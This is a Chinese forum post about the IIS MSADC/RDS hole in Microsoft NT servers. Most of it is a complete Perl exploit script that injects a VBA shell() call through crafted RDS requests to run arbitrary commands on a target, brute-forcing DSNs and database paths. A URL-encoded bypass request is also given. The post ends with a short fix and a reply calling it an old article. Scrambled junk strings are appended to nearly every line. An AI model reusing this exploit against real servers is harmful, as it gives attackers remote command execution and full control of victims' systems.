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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ke{8 ^X~#  
OHv[#xGuV?  
涉及程序: ?M$.+V{a  
Microsoft NT server TH)"wNa  
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描述: *RT>`,t/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "-y-iJ  
E"\/ M  
详细: r)qnl9?;`]  
如果你没有时间读详细内容的话,就删除: 5&xB6|k  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ai}mOyJs  
有关的安全问题就没有了。 d[r#-h> dS  
XV!6dh!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $r@ =*(  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 BMhy=+\  
关于利用ODBC远程漏洞的描述,请参看: CF&NFSti^  
c_\YBe]wJ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M=.:,wRm  
]d55m/(   
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 BNz5lrfq  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp PiYY6i0  
Kfm5i Q  
这里不再论述。 %?LOs H   
KuWWUjCE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #btLa\HJ  
'AzDP;6qFI  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset aHlcfh9|  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! |}2 3>l7  
qd+h$ "p  
Xf0M:\w=M  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X7[^s $VK  
@95FN)TXZY  
#!perl wNq;;AJ$  
# >Wh}f3C  
# MSADC/RDS 'usage' (aka exploit) script H&F9J ^rC  
# %509\;el  
# by rain.forest.puppy 3Uqr,0$p  
# 'iy*^A `Y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me KiRUvWqa  
# beta test and find errors! lW<PoT  
FSUttg"  
use Socket; use Getopt::Std; YRv&1!VLE  
getopts("e:vd:h:XR", \%args); |M8WyW  
)=\# UE+W  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; =PUt&`1.a  
jxiC Kx,G  
if (!defined $args{h} && !defined $args{R}) { 3:5 &Aa!  
print qq~ lJ+0P2@h*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (*1v\Q  
-h <host> = host you want to scan (ip or domain) c;{Q,"9U  
-d <seconds> = delay between calls, default 1 second VmCW6 G#M  
-X = dump Index Server path table, if available !(q sD+  
-v = verbose RbCPmiZcH  
-e = external dictionary file for step 5 z?>D_NLX6  
SaC d0. h  
Or a -R will resume a command session  e`d%-9  
Kh(ZU^{n  
~; exit;} / y A7%2  
ygeDcnvR]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Kk(9O06j  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} m.px>v-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4VHqBQ4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); klQC2drS  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} HODz*pI  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ?s\ OUr  
Jo$G,Q  
if (!defined $args{R}){ $ret = &has_msadc; z>jUR,!GT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ZeUvyIG  
{D? 50Q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !l|5z G  
. "cmd /c "; 8i|w(5m;  
$in=<STDIN>; chomp $in; so)"4 SEu  
$command="cmd /c " . $in ; 3<k`+,'  
rSxxH]-  
if (defined $args{R}) {&load; exit;} 90|7ArM_[  
lrWV#`6!+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; @+'-ADX  
&try_btcustmr; *?y+e  
t| 9 GS|  
print "\nStep 2: Trying to make our own DSN..."; "VkTY|a  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; o }3uo6GIB  
E Q4KV  
print "\nStep 3: Trying known DSNs..."; BBH0OiV=  
&known_dsn; AX?fuDLs  
v^)bhIPe;  
print "\nStep 4: Trying known .mdbs..."; %STliJ  
&known_mdb; AS E91T~  
%{(x3\ *&  
if (defined $args{e}){ 6'kS_Zu{<  
print "\nStep 5: Trying dictionary of DSN names..."; $e\h}A6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } S-7'it!1  
uC8L\UXk  
print "Sorry Charley...maybe next time?\n"; l IUuA  
exit; "z0zpHXek  
,ldI2 ]  
############################################################################## c9kzOQ2n  
VOc8q-hK  
sub sendraw { # ripped and modded from whisker \A#1y\ok  
sleep($delay); # it's a DoS on the server! At least on mine... ZDD..j  
my ($pstr)=@_; MZTx:EN!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6ZKsz5:=  
die("Socket problems\n"); d"5oD@JG:  
if(connect(S,pack "SnA4x8",2,80,$target)){ e1>aTu@  
select(S); $|=1; !).}u,*'no  
print $pstr; my @in=<S>; yz-,)GB6  
select(STDOUT); close(S); i^_#%L  
return @in; j4>a(  
} else { die("Can't connect...\n"); }} B|C/ Rk6?  
yC3yij<oR  
############################################################################## aM@z^<Ub  
-29gL_dk.  
sub make_header { # make the HTTP request N0K){  
my $msadc=<<EOT j:}J}P  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 26dUA~|KJ  
User-Agent: ACTIVEDATA @WQK>-=(3  
Host: $ip cFN'bftH4  
Content-Length: $clen ' zEI;v  
Connection: Keep-Alive !IC-)C,q  
QJ F=UB  
ADCClientVersion:01.06 [U@ *1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 YAL=!~6  
yf?h#G%24  
--!ADM!ROX!YOUR!WORLD! N%7{J  
Content-Type: application/x-varg :d0Y%vl  
Content-Length: $reqlen d\H&dkpH  
(faK+z,*6R  
EOT ]l@ qra  
; $msadc=~s/\n/\r\n/g; B d^"=+c4  
return $msadc;} 'S<%Xm  
7_wJpTz  
############################################################################## ^pS+/ZSi^  
yJsH=5A  
sub make_req { # make the RDS request c(U  
my ($switch, $p1, $p2)=@_; j7MO'RX`&  
my $req=""; my $t1, $t2, $query, $dsn; LuR,f"%2  
]&ixhW  
if ($switch==1){ # this is the btcustmr.mdb query TgTnqR@/  
$query="Select * from Customers where City=" . make_shell(); O<j PGU  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4J|t?]ij|E  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6AvHavA^Y  
WKpA|  
elsif ($switch==2){ # this is general make table query Y7GF$}%UL  
$query="create table AZZ (B int, C varchar(10))"; nx:KoB"ny  
$dsn="$p1";} ? b[n|^wS  
 \dl ph  
elsif ($switch==3){ # this is general exploit table query ]WUC:6x  
$query="select * from AZZ where C=" . make_shell(); >sD4R}\})  
$dsn="$p1";} [EY`am8[  
p0{EQT`tMG  
elsif ($switch==4){ # attempt to hork file info from index server a`E*\O'd  
$query="select path from scope()"; Jz:r7w{4eB  
$dsn="Provider=MSIDXS;";} .fzu"XAPu  
Z~6[ Z  
elsif ($switch==5){ # bad query <w>/^|]#  
$query="select"; Q}*y$se!  
$dsn="$p1";} ~:lKS;PRuK  
H@l}[hkP  
$t1= make_unicode($query); y/? &pKH^  
$t2= make_unicode($dsn); ]h!`IX  
$req = "\x02\x00\x03\x00"; BHj\G7,S  
$req.= "\x08\x00" . pack ("S1", length($t1)); r]P,9  
$req.= "\x00\x00" . $t1 ; zTo8OPr  
$req.= "\x08\x00" . pack ("S1", length($t2)); Jqr)V2Y  
$req.= "\x00\x00" . $t2 ; 6QZ5|T ]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; D H^T x  
return $req;} !umEyd@ "  
V &Mf:@y  
############################################################################## sk2%  
y69J%/c ra  
sub make_shell { # this makes the shell() statement rS*$rQCr=  
return "'|shell(\"$command\")|'";} YCy22@C  
HFo-4"  
############################################################################## ]Z4zF"@  
68R1AqU_  
sub make_unicode { # quick little function to convert to unicode .G>t72DpU  
my ($in)=@_; my $out; x`Fjf/1T*m  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } JmOW~W  
return $out;} Di Or{)a  
kII7z;<^`  
############################################################################## #T~&]|{,  
49 }{R/:  
sub rdo_success { # checks for RDO return success (this is kludge) Vf-5&S&9  
my (@in) = @_; my $base=content_start(@in); :a3LS|W  
if($in[$base]=~/multipart\/mixed/){ Zv qn%K],  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~fzuwz  
return 0;} oP,9#FC|(  
BH@b1}  
############################################################################## > %*B`oqo  
tkuc/Z/@  
sub make_dsn { # this makes a DSN for us dEp/dd~(&  
my @drives=("c","d","e","f"); |$hgT K[L  
print "\nMaking DSN: "; A8?[6^%O|  
foreach $drive (@drives) { 8*!|8 BPj^  
print "$drive: "; Y?Vz(udD  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FUeq \Wuo  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;vO@m!h}U  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ~%y\@x7I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `1p 8C%  
return 0 if $2 eq "404"; # not found/doesn't exist h(xP_Svj>  
if($2 eq "200") { J(h3]J/Yw  
foreach $line (@results) { ;R[&pDx  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} FMu!z  
} return 0;} 'M'w,sID  
(;6s)z  
############################################################################## l+ T, 2sd  
R]b! $6Lt  
sub verify_exists { p/|(,)'+jx  
my ($page)=@_; 17py ).\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]b[,LwB\`~  
return $results[0];} aqQ o,5U>  
EI`vVI  
############################################################################## %"7WXOv&z  
V 4qtaHf  
sub try_btcustmr { (Nz]h:}r  
my @drives=("c","d","e","f"); eihZp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Y"> 4Qx4W  
I}:L]H{E  
foreach $dir (@dirs) { mC(u2  
print "$dir -> "; # fun status so you can see progress -qn[HXq  
foreach $drive (@drives) { tSw>@FM  
print "$drive: "; # ditto #)i&DJ^Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7,_-XV2  
$reqlenlen=length( "$reqlen" ); U6i~A9;  
$clen= 206 + $reqlenlen + $reqlen; d)*(KhYie@  
~PUsgL^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); u 2lX d'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #1l7FT?q  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Z% Z"VoxH  
5fq.*1f  
############################################################################## di_gWE  
'jbMTI  
sub odbc_error { fu>Qi)@6a1  
my (@in)=@_; my $base; 7&t~R}&|  
my $base = content_start(@in);  wF;B@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T#e4": A&x  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Dh8(HiXf:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n8FT<pUq  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /Hk07:"c  
return $in[$base+4].$in[$base+5].$in[$base+6];} b3^R,6]x&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; QJM(UfHUD  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . | M _%QM.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} W8uVd zQ   
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############################################################################## 0Q*-g}wXfS  
R8{e&n PE  
sub verbose { ._K$0U!  
my ($in)=@_; 5)x6Q|-u  
return if !$verbose; .r6YrB@['  
print STDOUT "\n$in\n";} =u[rOU{X"W  
Z_jn27AC  
############################################################################## V4oak!}?  
]g7HEB.Y  
sub save { XL?A w  
my ($p1, $p2, $p3, $p4)=@_; Dwk$CJb3-  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; B^Bbso'{1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~ \-r  
close OUT;} n1JC?+  
B{N=0 cSi  
############################################################################## E.U0qK],  
Flne=ij6g  
sub load { p( HyRCH  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3P3:F2S R  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); K#iK6)tS  
@p=<IN>; close(IN); xan/ay>  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Y)5)s0}  
$target= inet_aton($ip) || die("inet_aton problems"); /H.(d 4C  
print "Resuming to $ip ..."; `Q+i-y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Y+OYoI  
if($p[1]==1) { hq]xmM?&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; K]%N-F>r  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #efqG=q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %zRiLcAT  
if (rdo_success(@results)){print "Success!\n";} EI%M Azj}  
else { print "failed\n"; verbose(odbc_error(@results));}} //6^+-he  
elsif ($p[1]==3){ QR|XV%$  
if(run_query("$p[3]")){ }ty"fI3&iY  
print "Success!\n";} else { print "failed\n"; }} ^#}dPGm  
elsif ($p[1]==4){ rO5u~"v]  
if(run_query($drvst . "$p[3]")){ P}+2>EU  
print "Success!\n"; } else { print "failed\n"; }} wK2yt?  
exit;} L,yA<yrC  
p6B .s_G4  
############################################################################## Zm`'MsgFr  
.jLMl*6%:  
sub create_table { T-hU+(+hg  
my ($in)=@_; r.Y*{!t  
$reqlen=length( make_req(2,$in,"") ) - 28; H-;&xzAI  
$reqlenlen=length( "$reqlen" ); Bm65 W  
$clen= 206 + $reqlenlen + $reqlen; 7W6eiUI'  
my @results=sendraw(make_header() . make_req(2,$in,"")); cZCGnzy  
return 1 if rdo_success(@results); 97['VOh0  
my $temp= odbc_error(@results); verbose($temp); W\nHX I  
return 1 if $temp=~/Table 'AZZ' already exists/; *(@L+D0N  
return 0;} E \ K  
._8xY$l$  
############################################################################## i5ajM,i/K  
N |OMj%Uk  
sub known_dsn { D2>hMc  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -d$8WSI 8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Eqz4{\   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", J- @o@!o  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); n25irCD`  
[Ihp\!xqI  
foreach $dSn (@dsns) { c^i"}2+  
print "."; g;u<[>'I  
next if (!is_access("DSN=$dSn")); d,h~u{  
if(create_table("DSN=$dSn")){ Fw(b1d>E  
print "$dSn successful\n"; v9j4|w  
if(run_query("DSN=$dSn")){ f_Wkg)g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { zbF:R[)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} N/`TrWVF  
lWu9/r 1  
############################################################################## 2eZk3_w  
<3i4NXnL2  
sub is_access { W+F<P@[u<$  
my ($in)=@_; rW=k%# p  
$reqlen=length( make_req(5,$in,"") ) - 28; )OW(T^>_'I  
$reqlenlen=length( "$reqlen" ); 3{2^G@j  
$clen= 206 + $reqlenlen + $reqlen; CjC'"+[w  
my @results=sendraw(make_header() . make_req(5,$in,"")); xA[Wb'  
my $temp= odbc_error(@results); l|R<F;|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !s#'pTZk4  
return 0;} 7G<KrKal  
rL!_&|  
############################################################################## 'S%} ?#J  
7/p J6>  
sub run_query { 1sIy*z  
my ($in)=@_; F #!@}K8  
$reqlen=length( make_req(3,$in,"") ) - 28; Q`@$j,v  
$reqlenlen=length( "$reqlen" ); ? $)x$nS`  
$clen= 206 + $reqlenlen + $reqlen; ,w9#%=xE  
my @results=sendraw(make_header() . make_req(3,$in,"")); 'XZI{q2i  
return 1 if rdo_success(@results); `wn<3#  
my $temp= odbc_error(@results); verbose($temp); Tdk2436=  
return 0;} 5v Uz  
|d B1R%  
############################################################################## D^N#E>,  
@aqd'O  
sub known_mdb { 9QX ~a X  
my @drives=("c","d","e","f","g"); HX /GLnY/X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m>*A0&??[  
my $dir, $drive, $mdb; oqd N5+xt  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XL.CJ5y>  
H/p-YtY  
# this is sparse, because I don't know of many 90y9~.v  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bCE7hutl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", V. bH$@ej  
"\\system32\\certmdb.mdb", c`$`0}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +LI*!(T|lm  
v8U1uOR,%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9znx1AsN  
"\\cfusion\\cfapps\\forums\\forums_.mdb", z[KN^2YS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @ (u?=x;  
"\\cfusion\\cfapps\\security\\realm_.mdb", d=4f`q0k  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", )v!lPpe8  
"\\cfusion\\database\\cfexamples.mdb", 2 l[A=Z  
"\\cfusion\\database\\cfsnippets.mdb", Ip7FD9 ^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", VhH]n yi7D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", f,`}hFD  
"\\cfusion\\brighttiger\\database\\cleam.mdb", avxn}*:X.  
"\\cfusion\\database\\smpolicy.mdb", m`yn9(1Y[  
"\\cfusion\\database\cypress.mdb", ]"7DV3_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", AHMV@o`V  
"\\website\\cgi-win\\dbsample.mdb", CSX$Pk*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4MtqQq4%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" $*v20  
); #these are just 1{Alj27  
foreach $drive (@drives) { <Z_wDK/UR  
foreach $dir (@dirs){ \_I)loPc8  
foreach $mdb (@sysmdbs) { Y?vm%t`K  
print "."; P8,{k  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <v7KE*#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; {OhkuON  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ VG'(   
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5#9Wd9LP  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \'LCC-  
J! 6z  
foreach $drive (@drives) { E_' n4@}Cx  
foreach $mdb (@mdbs) { aWsKJo>j[#  
print "."; 4h_4jqf=pU  
if(create_table($drv . $drive . $dir . $mdb)){ oCdOC5  
print "\n" . $drive . $dir . $mdb . " successful\n"; Y"/UYxCm|&  
if(run_query($drv . $drive . $dir . $mdb)){ xu?QK6D:  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |nH0~P#!  
} else { print "Something's borked. Use verbose next time\n"; }}}} <<2b2?a S`  
} mQA<t)1  
'y M:W cN  
############################################################################## )p^jsv.  
,^IZ[D>u)  
sub hork_idx { k+R?JWC:  
print "\nAttempting to dump Index Server tables...\n"; {O&liU4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5WNg+  
$reqlen=length( make_req(4,"","") ) - 28; SQKY;p  
$reqlenlen=length( "$reqlen" ); =ci5&B?  
$clen= 206 + $reqlenlen + $reqlen; "0 PN  
my @results=sendraw2(make_header() . make_req(4,"","")); ^)IL<S&h  
if (rdo_success(@results)){ j_WF38o  
my $max=@results; my $c; my %d; 7fzyD  
for($c=19; $c<$max; $c++){ :XQ  
$results[$c]=~s/\x00//g; i+x6aQ24  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @[b:([  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8}#Lo9:,d  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,WDAcQ8\  
$d{"$1$2"}="";} &'yV:g3H  
foreach $c (keys %d){ print "$c\n"; } :kx#];2i  
} else {print "Index server doesn't seem to be installed.\n"; }} *-!ndbf  
IK?$!jh  
############################################################################## vzm4  
GN;XB b]w  
sub dsn_dict { ^%X\ }><  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8kc'|F\  
while(<IN>){ 0(g MR  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^$,kTU'=  
next if (!is_access("DSN=$dSn")); U?^|>cMr  
if(create_table("DSN=$dSn")){ ;)]zv\fC  
print "$dSn successful\n"; RHAr[$  
if(run_query("DSN=$dSn")){ w@ylRq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Xsn- +e  
print "Something's borked. Use verbose next time\n";}}} Iy4M MU  
print "\n"; close(IN);} h%^kA@3F  
3 <lhoD  
############################################################################## nJ#@W b@  
U(]5U^  
sub sendraw2 { # ripped and modded from whisker yaXa8v'oC  
sleep($delay); # it's a DoS on the server! At least on mine... M)pi)$&c  
my ($pstr)=@_; +2 o|#`)i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o4f9EJY   
die("Socket problems\n"); x,c68Q)g  
if(connect(S,pack "SnA4x8",2,80,$target)){ gO%i5  
print "Connected. Getting data"; yaYt/?|  
open(OUT,">raw.out"); my @in; BrcXn@tl  
select(S); $|=1; print $pstr; >T^v4A  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} [=1?CD  
close(OUT); select(STDOUT); close(S); return @in; i@^`~vj  
} else { die("Can't connect...\n"); }} *K.7Zf0  
nJ})6/gK  
############################################################################## p2vUt  
Xgc\O08  
sub content_start { # this will take in the server headers OjEA;;qq  
my (@in)=@_; my $c; UnF4RF:A2&  
for ($c=1;$c<500;$c++) { _NnO mwK7  
if($in[$c] =~/^\x0d\x0a/){ /)4r2x  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } uPv?Hq  
else { return $c+1; }}} gj;G:;1m  
return -1;} # it should never get here actually Qu\l$/  
#R~NR8( z  
############################################################################## Du4#\OK  
2U+p@}cQUA  
sub funky { E+Mdl*  
my (@in)=@_; my $error=odbc_error(@in); 2=M!lB *  
if($error=~/ADO could not find the specified provider/){ w|o@r%Q#l  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0U*"OSpF  
exit;} )9Ojvp=#r:  
if($error=~/A Handler is required/){ ]LOtwY  
print "\nServer has custom handler filters (they most likely are patched)\n"; {*$J&{6V  
exit;} 8N_rJ)f  
if($error=~/specified Handler has denied Access/){ vkgL"([_  
print "\nServer has custom handler filters (they most likely are patched)\n"; R0d|j#vP  
exit;}} N|vJrye  
"TJ^Z!  
############################################################################## Tic9r i  
.. TjEBp  
sub has_msadc { to=##&ld<  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &L~rq)r/&  
my $base=content_start(@results); x,_Ucc.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); io3'h:+9s  
return 0;} 4344PBj  
:C6r N}_k  
######################## 6D(m8  
Lpf=VyqC  
Qf]!K6eR  
解决方案: :|3 C-+[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll RR=l&uT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 v4aGL<SO  
#JucOWxjY  
拿出来充数 哈哈
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